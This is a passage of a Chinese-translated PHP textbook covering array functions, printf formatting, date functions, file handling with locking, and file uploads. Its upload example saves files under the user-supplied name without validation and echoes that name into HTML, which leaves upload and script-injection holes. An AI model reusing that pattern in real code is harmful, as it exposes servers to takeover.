然后内部循环处理每行中的每个方块,输出存储在其中的字符($piece),后跟一个空格(以使打印输出更加整齐)。这个循环只有一条语句,所以不需要用大括号将其括起来。<pre></pre> 标签确保输出正确显示,如下所示:

r n b q k b n r
p p p p p p p p

P P P P P P P P
R N B Q K B N R

你可以通过使用方括号直接访问这个数组中的任何元素。

echo $chessboard[7][3];

这个语句输出大写字母 Q,在第八行向下和第四列向右的位置(请记住数组索引从 0 开始,不是从 1 开始)。

使用数组函数

你已经看到了 listeach 函数,但是 PHP 还配备了许多其他处理数组的函数。你可以在文档中找到完整的列表。然而,其中一些函数非常基础,值得花时间在这里仔细研究它们。

is_array

数组和变量共享相同的命名空间。这意味着你不能同时有一个名为 $fred 的字符串变量和一个名为 $fred 的数组。如果你不确定并且你的代码需要检查一个变量是否是数组,你可以使用 is_array 函数,如下所示:

echo (is_array($fred)) ? "Is an array" : "Is not an array";

注意,如果 $fred 还没有被赋值,将生成一个 Undefined variable 的消息。

count

虽然 each 函数和 foreach...as 循环结构是遍历数组内容的优秀方式,但有时你确实需要知道数组中有多少元素,特别是如果你将直接引用它们的话。要计算顶层数组中的所有元素数,使用如下命令:

echo count($fred);

如果你想知道多维数组中总共有多少元素,可以使用如下语句:

echo count($fred, 1);

第二个参数是可选的,设置要使用的模式。它应该是 0 以限制仅计算顶层,或者 1 以强制递归计算所有子数组元素。

排序

排序是如此常见,PHP 为此提供了一个内置函数。在其最简单的形式中,你可以像这样使用它:

sort($fred);

需要记住的是,与其他一些函数不同,sort 会直接对提供的数组进行操作,而不是返回已排序元素的新数组。它在成功时返回 TRUE,在出错时返回 FALSE,并且还支持一些标志——你可能希望使用的主要两个标志,强制按数字或字符串对项目进行排序,如下所示:

sort($fred, SORT_NUMERIC);
sort($fred, SORT_STRING);

你也可以使用 rsort 函数按照反向顺序对数组进行排序,如下所示:

rsort($fred, SORT_NUMERIC);
rsort($fred, SORT_STRING);

洗牌

有时候你可能需要将数组的元素随机排序,比如在创建一副扑克牌游戏时:

shuffle($cards);

sort 类似,shuffle 直接作用于提供的数组,并在成功时返回 TRUE,在出错时返回 FALSE

explode

explode 是一个非常有用的函数,你可以用它将包含多个由单个字符(或字符串)分隔的项目的字符串转换成一个数组。一个方便的例子是将句子拆分成一个包含所有单词的数组,如 示例 6-12 所示。

示例 6-12. 使用空格将字符串分割成数组
<?php
  $temp = explode(' ', "This is a sentence with seven words");
  print_r($temp);
?>

此示例在浏览器中打印出以下内容(单行显示):

Array
(
  [0] => This
  [1] => is
  [2] => a
  [3] => sentence
  [4] => with
  [5] => seven
  [6] => words
)

第一个参数,分隔符,不一定是空格,甚至不一定是单个字符。示例 6-13 展示了一个略有不同的变体。

示例 6-13. 将用 *** 分隔的字符串分割成数组
<?php
  $temp = explode('***', "A***sentence***with***asterisks");
  print_r($temp);
?>

示例 6-13 中的代码将打印出以下内容:

Array
(
  [0] => A
  [1] => sentence
  [2] => with
  [3] => asterisks
)

extract

有时候将数组中的键/值对转换为 PHP 变量可能会很方便。一个这样的时机可能是当你处理由表单发送到 PHP 脚本的 $_GET$_POST 变量时。

当通过网络提交表单时,Web 服务器将变量解包到 PHP 脚本的全局数组中。如果使用 GET 方法发送变量,则会放入一个名为$_GET的关联数组;如果使用 POST 发送,则会放入一个名为$_POST的关联数组。

当然,您可以按照迄今为止的示例中所示的方式遍历这样的关联数组。但是,有时您只想将发送的值存储到变量中以供以后使用。在这种情况下,您可以让 PHP 自动执行这项工作:

extract($_GET);

因此,如果将查询字符串参数q发送到 PHP 脚本以及相关联的值Hi there,将创建一个名为$q的新变量,并为其分配该值。

虽然这种方法很有用,但要小心,因为如果提取的任何变量与您已经定义的变量冲突,您现有的值将被覆盖。为了避免这种可能性,您可以使用该函数提供的许多附加参数之一,就像这样:

extract($_GET, EXTR_PREFIX_ALL, 'fromget');

在这种情况下,所有新变量将以给定前缀字符串开始,后跟下划线,因此$q将变为$fromget_q。我强烈建议您在处理$_GET$_POST数组或任何其他可能由用户控制键的数组时使用此函数版本,因为恶意用户可能会提交有意选择的键来覆盖常用变量名并危害您的网站。

compact

有时您可能想要使用compactextract的反向操作)来创建一个包含变量及其值的数组。示例 6-14 展示了您可能如何使用此函数。

示例 6-14. 使用compact函数
<?php
  $fname         = "Doctor";
  $sname         = "Who";
  $planet        = "Gallifrey";
  $system        = "Gridlock";
  $constellation = "Kasterborous";

  $contact = compact('fname', 'sname', 'planet', 'system', 'constellation');

  print_r($contact);
?>

运行示例 6-14 的结果如下:

Array
(
  [fname] => Doctor
  [sname] => Who
  [planet] => Gallifrey
  [system] => Gridlock
  [constellation] => Kasterborous
)

请注意,compact要求以引号提供变量名称,而不是以$符号开头。这是因为compact正在寻找变量名列表,而不是它们的值。

另一个使用该函数的情况是调试时,您希望快速查看几个变量及其值,例如示例 6-15。

示例 6-15. 使用compact函数进行调试
<?php
  $j       = 23;
  $temp    = "Hello";
  $address = "1 Old Street";
  $age     = 61;

  print_r(compact(explode(' ', 'j temp address age')));
?>

这通过使用explode函数从字符串中提取所有单词到数组中实现,然后将其传递给compact函数,后者再返回一个数组给print_r,最终显示其内容。

如果您复制并粘贴print_r代码行,则只需修改那里命名的变量即可快速打印一组变量的值。在本例中,输出如下所示:

Array
(
  [j] => 23
  [temp] => Hello
  [address] => 1 Old Street
  [age] => 61
)

重置

foreach...as 结构或 each 函数遍历数组时,它会保持一个内部的 PHP 指针,记录应该返回的数组元素。如果你的代码需要返回数组的开头,你可以使用 reset,它也会返回那个元素的值。以下是如何使用此函数的示例:

reset($fred);         // Throw away return value
$item = reset($fred); // Keep first element of the array in $item

end

reset 类似,你可以使用 end 函数将 PHP 内部数组指针移动到数组的最后一个元素,并返回该元素的值。以下是一些示例:

end($fred);
$item = end($fred);

本章结束了你对 PHP 的基础介绍,现在你应该能够使用所学的技能编写相当复杂的程序。在下一章中,我们将讨论使用 PHP 处理常见实际任务的方法。

问题

  1. 数值数组和关联数组有什么区别?

  2. array 关键字的主要优势是什么?

  3. foreacheach 有什么区别?

  4. 如何创建多维数组?

  5. 如何确定数组中元素的数量?

  6. explode 函数的目的是什么?

  7. 如何将 PHP 内部指针设置回数组的第一个元素?

请参阅“第六章答案”,位于附录 A 中,以获取这些问题的答案。

第七章:PHP 实用指南

前面的章节介绍了 PHP 语言的各个元素。本章将基于你的新编程技能,教你如何执行一些常见但重要的实际任务。你将学习如何处理字符串,以实现清晰简洁的代码,并在网页浏览器中显示你想要的效果,包括高级的日期和时间管理。你还将了解如何创建和修改文件,包括用户上传的文件。

使用 printf

你已经看到了 printecho 函数,它们仅仅是将文本输出到浏览器。但是一个更强大的函数 printf 可以通过在字符串中添加特殊的格式化字符来控制输出的格式。对于每个格式化字符,printf 都希望你传递一个参数,它将使用该格式显示。例如,以下示例使用 %d 转换说明符来显示值 3 的十进制表示:

printf("There are %d items in your basket", 3);

如果你用 %b 替换 %d,那么值 3 将以二进制 (11) 形式显示。表 7-1 显示了支持的转换说明符。

表 7-1. printf 转换说明符

指示符 对参数arg的转换操作 示例(对于参数为 123)
% 显示 % 字符(不需要arg %
b 以二进制整数显示arg 1111011
c 显示arg的 ASCII 字符 {
d 以有符号十进制整数显示arg 123
e 使用科学计数法显示arg 1.23000e+2
f 以浮点数显示arg 123.000000
o 以八进制整数显示arg 173
s 以字符串形式显示arg 123
u 以无符号十进制显示arg 123
x 以小写十六进制显示arg 7b
X 以大写十六进制显示arg 7B

printf 函数中,你可以使用任意数量的转换说明符,只要你传递相匹配的参数,并且每个说明符前面都有 % 符号。因此,以下代码是有效的,并将输出 "我的名字是 Simon。我今年 33 岁,这在十六进制中是 21"

printf("My name is %s. I'm %d years old, which is %X in hexadecimal",
  'Simon', 33, 33);

如果省略任何参数,你将收到一个解析错误,提示意外遇到右括号 ) 或参数不足。

更实际的 printf 示例是使用十进制值在 HTML 中设置颜色。例如,假设你想要一个颜色,其中红色为 65、绿色为 127、蓝色为 245,但不想自己将其转换为十六进制。这里有一个简单的解决方案:

printf("<span style='color:#%X%X%X'>Hello</span>", 65, 127, 245);

仔细检查撇号('')之间的颜色规范格式。颜色规范首先是井号 (#)。然后是三个 %X 格式说明符,分别对应你的数字。这个命令的输出如下所示:

<span style='color:#417FF5'>Hello</span>

通常,使用变量或表达式作为 printf 的参数会更方便。例如,如果您将颜色值存储在三个变量 $r$g$b 中,可以通过以下方式创建更深的颜色:

printf("<span style='color:#%X%X%X'>Hello</span>", $r-20, $g-20, $b-20);

精度设置

不仅可以指定转换类型,还可以设置显示结果的精度。例如,通常货币金额只显示两位小数。但是,在计算后,值可能具有更高的精度,例如 123.42 / 12,得到 10.285. 为确保这些值在内部正确存储但仅显示两位小数,可以在 % 符号和转换说明符之间插入字符串 ".2"

printf("The result is: $%.2f", 123.42 / 12);

此命令的输出如下:

The result is $10.29

实际上,你拥有比这更多的控制权,因为你还可以指定输出是用零还是空格填充,通过在转换说明符前面加上特定的值。示例 7-1 展示了四种可能的组合。

示例 7-1. 精度设置
<?php
  echo "<pre>"; // Enables viewing of the spaces

  // Pad to 15 spaces
  printf("The result is $%15f\n", 123.42 / 12);

  // Pad to 15 spaces, fill with zeros
  printf("The result is $%015f\n", 123.42 / 12);

  // Pad to 15 spaces, 2 decimal places precision
  printf("The result is $%15.2f\n", 123.42 / 12);

  // Pad to 15 spaces, 2 decimal places precision, fill with zeros
  printf("The result is $%015.2f\n", 123.42 / 12);

  // Pad to 15 spaces, 2 decimal places precision, fill with # symbol
  printf("The result is $%'#15.2f\n", 123.42 / 12);
?>

此示例的输出如下:

The result is $      10.285000
The result is $00000010.285000
The result is $          10.29
The result is $000000000010.29
The result is $##########10.29

它的工作方式很简单,如果你从右到左看(见 表 7-2)。请注意:

  • 最右边的字符是转换说明符:在本例中为浮点数 f

  • 如果在转换说明符之前有一个句点和一个数字在一起,则输出的精度被指定为该数字的值。

  • 无论是否有精度说明符,如果有数字,则表示输出应填充到该字符数。在前面的示例中,这是 15 个字符。如果输出已等于或大于填充长度,则忽略此参数。

  • % 符号之后允许的最左边的参数是 0,除非设置了填充值,否则会被忽略,如果需要的是除零或空格之外的填充字符,则可以使用任意你选择的一个,并在其前面加上一个单引号,例如 '#

  • 左边是 % 符号,表示开始转换。

表 7-2. 转换说明符组件

开始转换 填充字符 填充字符数 显示精度 转换说明符 示例
% 15 f 10.285000
% 0 15 .2 f 000000000010.29
% '# 15 .4 f ########10.2850

字符串填充

您还可以像处理数字一样,将字符串填充到所需的长度,选择不同的填充字符,甚至可以选择左对齐或右对齐。示例 7-2 展示了各种示例。

示例 7-2. 字符串填充
<?php
  echo "<pre>"; // Enables viewing of the spaces

  $h = 'Rasmus';

  printf("[%s]\n",         $h); // Standard string output
  printf("[%12s]\n",       $h); // Right justify with spaces to width 12
  printf("[%-12s]\n",      $h); // Left justify with spaces
  printf("[%012s]\n",      $h); // Pad with zeros
  printf("[%'#12s]\n\n",   $h); // Use the custom padding character '#'

  $d = 'Rasmus Lerdorf';        // The original creator of PHP

  printf("[%12.8s]\n",     $d); // Right justify, cutoff of 8 characters
  printf("[%-12.12s]\n",   $d); // Left justify, cutoff of 12 characters
  printf("[%-'@12.10s]\n", $d); // Left justify, pad with '@', cutoff 10 chars
?>

请注意,在 Web 页面布局方面,我使用了 <pre> HTML 标签来保留所有空格和每行后的 \n 换行字符。该示例的输出如下所示:

[Rasmus]
[      Rasmus]
[Rasmus      ]
[000000Rasmus]
[######Rasmus]

[    Rasmus L]
[Rasmus Lerdo]
[Rasmus Ler@@]

当您指定填充值时,长度等于或大于该值的字符串将被忽略,除非提供了截断值,将字符串缩短至小于填充值。

表 7-3 显示了可用于字符串转换说明符的组件。

表 7-3. 字符串转换说明符组件

开始转换 左/右对齐 填充字符 填充字符数 截断 转换说明符 示例(使用“Rasmus”)
% s [Rasmus]
% - 10 s [Rasmus ]
% '# 8 .4 s [####Rasm]

使用 sprintf

通常情况下,您不希望输出转换的结果,但需要将其用于代码中的其他地方。这就是 sprintf 函数的用武之地。使用它,您可以将输出发送到另一个变量,而不是直接发送到浏览器。

您可以使用它进行转换,就像以下示例中为 RGB 颜色组 65, 127, 245 返回十六进制字符串值 $hexstring 一样:

$hexstring = sprintf("%X%X%X", 65, 127, 245);

或者您可能希望将输出存储在变量中以供其他用途或显示:

$out = sprintf("The result is: $%.2f", 123.42 / 12);
echo $out;

日期和时间函数

PHP 使用标准的 Unix 时间戳来跟踪日期和时间,即从 1970 年 1 月 1 日开始的秒数。要确定当前时间戳,可以使用 time 函数:

echo time();

因为值以秒为单位存储,要获得下周此时刻的时间戳,您可以使用以下方法,将 7 天× 24 小时× 60 分钟× 60 秒添加到返回值中:

echo time() + 7 * 24 * 60 * 60;

如果您希望为给定日期创建时间戳,可以使用 mktime 函数。对于 2022 年 12 月 1 日的第一秒的时间戳是 1669852800

echo mktime(0, 0, 0, 12, 1, 2022);

传递的参数从左到右依次为:

  • 小时数(0–23)

  • 分钟数(0–59)

  • 秒数(0–59)

  • 月份数(1–12)

  • 日数(1–31)

  • 年份(1970–2038,或者在 32 位有符号系统上的 PHP 5.1.0+中为 1901–2038)

注意

您可能会问为什么要将年份限制在 1970 到 2038 年之间。这是因为 Unix 的原始开发者选择了 1970 年作为基准日期,没有程序员需要在此之前使用!

幸运的是,从版本 5.1.0 开始,PHP 支持使用有符号 32 位整数的系统进行时间戳,支持 1901 年到 2038 年的日期。然而,这引入了一个比原问题更严重的问题,因为 Unix 的设计者还决定,在大约 70 年后没有人会继续使用 Unix,因此他们认为可以用 32 位值存储时间戳,而这将在 2038 年 1 月 19 日耗尽!

这将产生所谓的 Y2K38 问题(类似于千年虫问题,由于将年份存储为两位数值引起,也必须解决)。PHP 在 5.2 版本中引入了DateTime类以解决这个问题,但仅适用于 64 位架构,这在今天的大多数计算机上都是(但使用前请检查)。

要显示日期,请使用date函数,它支持众多格式选项,使您能够按任意方式显示日期。格式如下:

date($format, $timestamp);

参数$format应为包含格式说明符的字符串,如表 7-4 所详述,并且$timestamp应为 Unix 时间戳。有关所有说明符的完整列表,请参阅文档。以下命令将以格式"Monday February 17th, 2025 - 1:38pm"输出当前日期和时间:

echo date("l F jS, Y - g:ia", time());

Table 7-4. 主要日期函数格式说明符

格式 描述 返回值
日期说明符
d 日期,两位数,前导零 0131
D 星期几,三个字母 MonSun
j 日期,无前导零 131
l 星期几,全称 SundaySaturday
N 星期几,数字形式,星期一至星期日 17
S 日期后缀(与j说明符一起使用) stndrdth
w 星期几,数字形式,星期日至星期六 06
z 年内的第几天 0365
周说明符
W 年的周数 0152
月份说明符
F 月份名称 JanuaryDecember
m 月份,带前导零 0112
M 月份名称,三个字母 JanDec
n 月份,无前导零 112
t 给定月份的天数 2831
年份说明符
L 闰年 1 = 是,0 = 否
y 年份,2 位数 0099
Y 年份,4 位数 00009999
时间格式说明符
a 上午或下午,小写 ampm
A 上午或下午,大写 AMPM
g 小时,12 小时制,无前导零 112
G 小时,24 小时制,无前导零 023
h 小时,12 小时制,前导零 0112
H 小时,24 小时制,前导零 0023
i 分钟,前导零 0059
s 秒,前导零 0059

日期常量

有许多有用的常量可以与 date 命令一起使用,以返回特定格式的日期。例如,date(DATE_RSS) 返回符合 RSS 订阅格式的当前日期和时间。一些常用的常量如下:

DATE_ATOM

这是 Atom 订阅的格式。PHP 的格式是"Y-m-d\TH:i:sP",示例输出是"2025-05-15T12:00:00+00:00"

DATE_COOKIE

这是从 Web 服务器或 JavaScript 设置的 cookie 的格式。PHP 的格式是"l, d-M-y H:i:s T",示例输出是"Thursday, 15-May-25 12:00:00 UTC"

DATE_RSS

这是用于 RSS 订阅的格式。PHP 的格式是"D, d M Y H:i:s O",示例输出是"Thu, 15 May 2025 12:00:00 UTC"

DATE_W3C

这是用于万维网联盟的格式。PHP 的格式是"Y-m-d\TH:i:sP",示例输出是"2025-05-15T12:00:00+00:00"

可以在文档中找到完整的列表。

使用 checkdate

您已经看到如何以多种格式显示有效日期。但是如何检查用户是否向程序提交了有效日期?答案是将月、日和年传递给 checkdate 函数,如果日期有效则返回TRUE,否则返回FALSE

例如,如果输入任意年份的 9 月 31 日,将始终是一个无效日期。示例 7-3 显示了您可以用于此目的的代码。目前,它会发现给定日期无效。

示例 7-3. 检查日期的有效性
<?php
  $month = 9;    // September (only has 30 days)
  $day   = 31;   // 31st
  $year  = 2025; // 2025

  if (checkdate($month, $day, $year)) echo "Date is valid";
  else echo "Date is invalid";
?>

文件处理

尽管 MySQL 强大,但并非在 Web 服务器上存储所有数据的唯一(或者说是最佳)方法。有时,直接访问硬盘上的文件可能更快、更便捷。这种情况包括修改用户上传头像或处理日志文件。

不过,首先要注意文件命名:如果您在编写可能在不同 PHP 安装中使用的代码,就无法确定这些系统是否区分大小写。例如,Windows 和 macOS 的文件名不区分大小写,但 Linux 和 Unix 的文件名区分大小写。因此,您应始终假定系统区分大小写,并坚持使用全小写文件名等约定。

检查文件是否存在

要确定文件是否已存在,可以使用 file_exists 函数。该函数返回TRUEFALSE,用法如下:

if (file_exists("testfile.txt")) echo "File exists";

创建文件

此时,testfile.txt 不存在,让我们创建它并向其中写入几行内容。键入 示例 7-4 并将其保存为 testfile.php

示例 7-4. 创建一个简单的文本文件
<?php // testfile.php
  $fh = fopen("testfile.txt", 'w') or die("Failed to create file");

  $text = <<<_END
Line 1
Line 2
Line 3
_END;

  fwrite($fh, $text) or die("Could not write to file");
  fclose($fh);
  echo "File 'testfile.txt' written successfully";
?>

如果程序调用die函数,打开的文件将作为终止程序的一部分自动关闭。

当你在浏览器中运行这个程序时,如果一切顺利,你将会收到消息File 'testfile.txt' written successfully。如果你收到错误消息,可能是你的硬盘已满,或者更可能的是你没有权限创建或写入文件,这时你应该根据你的操作系统修改目标文件夹的属性。否则,文件testfile.txt现在应该存储在你保存testfile.php程序的相同文件夹中。尝试用文本编辑器或程序打开文件——内容将会像这样:

Line 1
Line 2
Line 3

这个简单的例子展示了所有文件处理所需的顺序:

  1. 总是通过调用fopen来开始打开文件。通过调用fopen函数来实现这一点。

  2. 然后你可以调用其他函数;这里我们向文件写入(fwrite),但你也可以从现有文件中读取(freadfgets)以及执行其他操作。

  3. 最后通过关闭文件(fclose)来完成。尽管程序在结束时会自动关闭文件,但在你完成后手动关闭文件也是必要的。

每个打开的文件都需要一个文件资源,以便 PHP 可以访问和管理它。前面的例子将变量$fh(我选择用来表示文件句柄的变量名)设置为fopen函数返回的值。此后,每个访问已打开文件的文件处理函数,如fwritefclose,都必须将$fh作为参数传递,以标识正在访问的文件。不用担心$fh变量的内容;它是 PHP 用来引用有关文件的内部信息的数字——你只需将该变量传递给其他函数。

失败时,fopen会返回FALSE。前面的例子展示了捕获并响应失败的简单方法:调用die函数来结束程序并向用户显示错误消息。Web 应用程序绝不会以这种粗暴的方式中止(你应该创建一个带有错误消息的网页),但这对于我们的测试目的来说是可以接受的。

注意fopen调用的第二个参数。它只是字符w,告诉函数以写入模式打开文件。如果文件不存在,函数会创建该文件。在使用这些函数时要小心:如果文件已经存在,w模式参数会导致fopen调用删除旧内容(即使你没有写入任何新内容!)。

在这里可以使用几种不同的模式参数,详细说明见表 7-5。包含+符号的模式在“更新文件”部分有进一步解释。

表 7-5. 支持的fopen模式

模式 动作 描述
'r' 从文件开头读取 只读模式打开;将文件指针放在文件开头。如果文件不存在,则返回FALSE
--- --- ---
'r+' 从文件开头读取并允许写入 可读写打开;将文件指针放在文件开头。如果文件不存在,则返回FALSE
--- --- ---
'w' 从文件开头写入并截断文件 只写打开;将文件指针放在文件开头并截断文件为零长度。如果文件不存在,则尝试创建。
--- --- ---
'w+' 从文件开头写入、截断文件并允许读取 可读写打开;将文件指针放在文件开头并截断文件为零长度。如果文件不存在,则尝试创建。
--- --- ---
'a' 追加到文件末尾 只写打开;将文件指针放在文件末尾。如果文件不存在,则尝试创建。
--- --- ---
'a+' 追加到文件末尾并允许读取 可读写打开;将文件指针放在文件末尾。如果文件不存在,则尝试创建。
--- --- ---

从文件中读取

从文本文件中读取的最简单方法是通过fgets获取整行(最后的s可以理解为string),如示例 7-5。

示例 7-5. 使用fgets读取文件
<?php
  $fh = fopen("testfile.txt", 'r') or
    die("File does not exist or you lack permission to open it");

  $line = fgets($fh);
  fclose($fh);
  echo $line;
?>

如果你按照示例 7-4 创建文件,你会得到第一行:

Line 1

你可以通过fread函数检索多行或行的部分,如示例 7-6。

示例 7-6. 使用fread读取文件
<?php
  $fh = fopen("testfile.txt", 'r') or
    die("File does not exist or you lack permission to open it");

  $text = fread($fh, 3);
  fclose($fh);
  echo $text;
?>

我在fread调用中请求了三个字符,因此程序显示如下内容:

Lin

fread函数通常用于二进制数据。如果在跨越多行的文本数据上使用它,请记得计算换行符。

复制文件

让我们尝试 PHP copy 函数来创建testfile.txt的克隆。将其保存为copyfile.php,然后在浏览器中调用该程序,如示例 7-7。

示例 7-7. 复制文件
<?php // copyfile.php
  copy('testfile.txt', 'testfile2.txt') or die("Could not copy file");
  echo "File successfully copied to 'testfile2.txt'";
?>

如果再次检查你的文件夹,你会看到现在有了新文件testfile2.txt。顺便说一句,如果不希望程序在复制失败时退出,你可以尝试示例 7-8 中的替代语法。它使用!NOT)运算符作为一个快捷简便的缩写。放在表达式前面,它会对其应用NOT运算符,所以这里的等效语句在英语中会以“如果无法复制...”开头。

示例 7-8. 复制文件的替代语法
<?php // copyfile2.php
  if (!copy('testfile.txt', 'testfile2.txt')) echo "Could not copy file";
  else echo "File successfully copied to 'testfile2.txt'";
?>

移动文件

要移动文件,请使用rename函数重命名,如示例 7-9。

示例 7-9. 移动文件
<?php // movefile.php
  if (!rename('testfile2.txt', 'testfile2.new'))
    echo "Could not rename file";
  else echo "File successfully renamed to 'testfile2.new'";
?>

你也可以在目录上使用rename函数。为了避免在原始文件不存在时出现任何警告消息,可以先调用file_exists函数进行检查。

删除文件

删除文件只需使用unlink函数从文件系统中删除,如示例 7-10 中所示。

示例 7-10. 删除文件
<?php // deletefile.php
  if (!unlink('testfile2.new')) echo "Could not delete file";
  else echo "File 'testfile2.new' successfully deleted";
?>
警告

每当直接访问硬盘上的文件时,您必须始终确保文件系统不会被破坏。例如,如果根据用户输入删除文件,则必须确保它是可以安全删除的文件,并且用户被允许删除它。

与移动文件一样,如果文件不存在,将显示警告消息,您可以通过首先使用file_exists检查其是否存在,然后再调用unlink来避免这种情况。

更新文件

通常,您可能希望向已保存的文件添加更多数据,有多种方法可以实现。您可以使用追加写模式之一(参见表 7-5),或者您可以简单地使用支持写入的其他模式之一打开文件进行读写,并将文件指针移动到希望写入或读取的文件中的正确位置。

文件指针是文件中下一个文件访问将发生的位置,无论是读取还是写入。它与文件句柄(在示例 7-4 中存储在变量$fh中)不同,后者包含有关正在访问的文件的详细信息。

您可以通过输入示例 7-11 并将其保存为update.php来查看其操作。然后在浏览器中调用它。

示例 7-11. 更新文件
<?php // update.php
  $fh   = fopen("testfile.txt", 'r+') or die("Failed to open file");
  $text = fgets($fh);

  fseek($fh, 0, SEEK_END);
  fwrite($fh, "\n$text") or die("Could not write to file");
  fclose($fh);

  echo "File 'testfile.txt' successfully updated";
?>

此程序通过使用'r+'设置模式同时打开testfile.txt进行读取和写入,将文件指针置于开头。然后使用fgets函数从文件中读取一行(直到第一个换行符)。之后,调用fseek函数将文件指针直接移动到文件末尾,在此时,从文件开头提取的文本行(存储在$text中)将以\n换行符开头附加到文件末尾,然后关闭文件。结果文件现在如下所示:

Line 1
Line 2
Line 3
Line 1

第一行已成功复制并附加到文件的末尾。

此处使用的$fh文件句柄外,还向fseek函数传递了另外两个参数,0SEEK_ENDSEEK_END告诉函数将文件指针移动到文件末尾,0告诉它从那一点开始向后移动多少位置。在示例 7-11 的情况下,使用0是因为需要保持指针在文件的末尾。

fseek函数还有两个其他的寻址选项:SEEK_SETSEEK_CURSEEK_SET选项告诉函数将文件指针设置为前面参数给出的确切位置。因此,以下示例将文件指针移动到位置 18:

fseek($fh, 18, SEEK_SET);

SEEK_CUR将文件指针设置为当前位置加上给定偏移量的值。因此,如果文件指针当前位于位置 18,则以下调用将其移动到位置 23:

fseek($fh, 5, SEEK_CUR);

为多次访问锁定文件

Web 程序经常被许多用户同时调用。如果多个人尝试同时写入文件,可能会导致文件损坏。如果一个人在读取文件时另一个人在写入它,文件是没问题的,但读取它的人可能会得到奇怪的结果。为了处理同时使用者,你必须使用文件锁定flock函数。这个函数将所有其他访问文件的请求排队,直到你的程序释放锁。因此,每当你的程序对可能被多个用户同时访问的文件执行写入访问时,你还应该为它们添加文件锁定,如示例 7-12 中所示,这是示例 7-11 的更新版本。

示例 7-12. 使用文件锁更新文件
<?php
  $fh   = fopen("testfile.txt", 'r+') or die("Failed to open file");
  $text = fgets($fh);

  if (flock($fh, LOCK_EX))
  {
    fseek($fh, 0, SEEK_END);
    fwrite($fh, "$text") or die("Could not write to file");
    flock($fh, LOCK_UN);
  }

  fclose($fh);
  echo "File 'testfile.txt' successfully updated";
?>

对于文件锁定有一个技巧,以保持网站访问者最佳的响应时间:在对文件进行更改之前直接执行锁定操作,然后立即解锁。将文件锁定时间超过此时间将不必要地减慢应用程序。这就是为什么在示例 7-12 中的flock调用直接在fwrite调用之前和之后的原因。

第一次调用flock使用LOCK_EX参数在由$fh引用的文件上设置独占文件锁:

flock($fh, LOCK_EX);

从此时起,直到使用LOCK_UN参数释放锁为止,没有其他进程可以写入(甚至读取)该文件,如下所示:

flock($fh, LOCK_UN);

一旦释放锁定,其他进程就可以再次访问文件。这也是为什么每次需要读取或写入数据时都应重新定位到文件中希望访问的位置的原因之一——另一个进程可能在上次访问后更改了文件。

但是,你是否注意到请求独占锁的调用嵌套在一个if语句中?这是因为并非所有系统都支持flock;因此,明智的做法是检查是否成功获取了锁,以防无法获取锁。

另一件你必须考虑的事情是,flock被称为建议性锁定。这意味着它只锁定调用该函数的其他进程。如果你有任何直接修改文件而没有实现flock文件锁定的代码,它将始终覆盖锁定,并可能对你的文件造成严重破坏。

顺便说一句,实现文件锁定然后意外地在某个代码部分中留下它可能会导致一个极其难以定位的错误。

警告

flock 在 NFS 和许多其他网络文件系统上无法工作。 此外,当使用像 ISAPI 这样的多线程服务器时,您可能无法依赖 flock 来保护文件免受同一服务器实例的并行线程中运行的其他 PHP 脚本的影响。 另外,flock 不支持使用旧的 FAT 文件系统的任何系统,例如较旧版本的 Windows,尽管您不太可能遇到这些系统(希望如此)。

如果不确定,可以尝试在程序开始时快速锁定一个测试文件,看看是否可以锁定该文件。 检查后不要忘记解锁它(如果不需要,可能还要删除它)。

还要记住,任何对 die 函数的调用都会自动解锁锁定并关闭文件,作为结束程序的一部分。

读取整个文件

一个方便的函数用于读取整个文件,而无需使用文件句柄是 file_get_contents。 它非常容易使用,就像您可以在 Example 7-13 中看到的那样。

Example 7-13. 使用 file_get_contents
<?php
  echo "<pre>";  // Enables display of line feeds
  echo file_get_contents("testfile.txt");
  echo "</pre>"; // Terminates <pre> tag
?>

但是这个函数实际上比这更有用,因为您还可以使用它从 Internet 上的服务器获取文件,就像 Example 7-14 中请求 O’Reilly 主页的 HTML 并将其显示为用户已经浏览到页面本身一样。 结果类似于 Figure 7-1。

Example 7-14. 抓取 O’Reilly 主页
<?php
  echo file_get_contents("http://oreilly.com");
?>

Figure 7-1. 使用 file_get_contents 抓取的 O’Reilly 主页

文件上传

将文件上传到 Web 服务器是许多人看起来令人生畏的主题,但实际上却没有那么困难。 要从表单中上传文件,您需要选择一种特殊的编码类型称为 multipart/form-data,您的浏览器会处理其余部分。 要查看其工作原理,请输入 Example 7-15 中的程序并将其保存为 upload.php。 运行时,您将在浏览器中看到一个表单,让您上传您选择的文件。

Example 7-15. 图像上传程序 upload.php
<?php // upload.php
  echo <<<_END
 <html><head><title>PHP Form Upload</title></head><body>
 <form method='post' action='upload.php' enctype='multipart/form-data'>
 Select File: <input type='file' name='filename' size='10'>
 <input type='submit' value='Upload'>
 </form>
_END;

  if ($_FILES)
  {
    $name = $_FILES['filename']['name'];
    move_uploaded_file($_FILES['filename']['tmp_name'], $name);
    echo "Uploaded image '$name'<br><img src='$name'>";
  }

  echo "</body></html>";
?>

让我们逐段检查这个程序。 多行 echo 语句的第一行开始一个 HTML 文档,显示标题,然后开始文档的主体。

接下来我们来到表单,它选择表单提交的 POST 方法,将发布数据的目标设置为程序 upload.php(程序本身),并告诉 Web 浏览器应使用 multipart/form-data 的内容类型来编码发布的数据,这是文件上传的 MIME 类型。

设置好表单后,下一行显示提示 Select File:,然后请求两个输入。 第一个请求是文件,它使用 file 类型的输入,名称为 filename,并且输入字段宽度为 10 个字符。 第二个请求的输入只是一个提交按钮,标签为 Upload(取代默认的提交按钮文本 Submit Query)。 然后关闭表单。

这个简短的程序展示了 Web 编程中的一个常见技术,即一个程序被调用两次:用户首次访问页面时和用户点击提交按钮时。

接收上传数据的 PHP 代码非常简单,因为所有上传的文件都放置在关联数组$_FILES中。因此,仅需快速检查$_FILES是否包含任何内容即可确定用户是否已上传文件。这通过语句if ($_FILES)完成。

用户首次访问页面时,在上传文件之前,$_FILES是空的,所以程序会跳过此代码块。当用户上传文件时,程序再次运行,并在$_FILES数组中发现一个元素。

一旦程序意识到文件已上传,就会从 PHP 存储它的临时位置检索并将实际名称读取到变量$name中。现在只需要使用move_uploaded_file函数将上传的文件从 PHP 存储的临时位置移动到更永久的位置即可。我们通过将文件的原始名称传递给它来执行此操作,文件将保存到当前目录中。

最后,上传的图像将显示在一个IMG标签中,结果应该看起来像图 7-2。

警告

如果运行此程序并收到类似move_uploaded_file函数调用时Permission denied的警告消息,那么您可能没有为程序运行的文件夹设置正确的权限。

以表单数据形式上传图像

图 7-2. 以表单数据形式上传图像

使用 $_FILES

